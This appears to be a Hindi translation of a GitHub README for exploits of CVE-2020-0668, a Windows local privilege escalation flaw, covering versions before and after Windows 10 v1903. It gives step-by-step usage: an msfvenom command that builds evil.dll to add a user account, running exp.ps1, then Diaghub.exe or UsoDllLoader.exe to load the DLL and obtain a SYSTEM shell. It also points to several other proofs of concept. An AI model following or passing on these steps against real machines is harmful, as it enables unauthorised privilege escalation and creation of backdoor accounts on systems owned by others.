CVE-2020-0668

CVE-2020-0668 एक्सप्लॉइट को संस्करण < win10 v1903 और संस्करण >= win10 v1903 के लिए काम करने योग्य बनाएं

Diaghub एक्सप्लॉइट (< v1903)

powershell एक्सप्लॉइट Diaghub के साथ संस्करण < win10 v1903 पर काम करता है।

उपयोग

• STEP 1：msfvenom के साथ evil.dll जनरेट करें
  • उदाहरण के तौर पर एक उपयोगकर्ता जोड़ें ： msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• STEP 2：powershell के साथ exp.ps1 निष्पादित करें
• STEP 3：dll लोड करने और उपयोगकर्ता जोड़ने के लिए Diaghub.exe C:\ProgramData evil.dll निष्पादित करें।

• Diaghub

UsoDllLoader एक्सप्लॉइट (>= v1903)

powershell एक्सप्लॉइट UsoDllLoader के साथ संस्करण >= win10 v1903 पर काम करता है।

उपयोग

• STEP 1 : powershell के साथ exp.ps1 निष्पादित करें
• STEP 2 : सिस्टम शेल प्राप्त करने के लिए UsoDllLoader.exe निष्पादित करें

• UsoDllLoader

अन्य Exp या PoC

SysTracingPoc Exp

SysTracingPoc का x86 रिलीज़ संस्करण issue के लिए，एक्सप्लॉइट UsoLoadDll के कारण संस्करण >= win10 v1903 पर काम करता है।

• SysTracingPoc

RedCursorSecurityConsulting PoC

एक .net PoC। यदि आप C:\Windows\System32\evil.dll को देखें और इसे evil.txt के रूप में नाम बदलें।

आप पाएंगे कि यह dll फ़ाइल नहीं है। इसमें केवल ट्रेसिंग लॉग है।

• CVE-2020-0668

Nan3r PoC

एक powershell PoC। evil.dll में भी केवल ट्रेसिंग लॉग है।

• CVE-2020-0668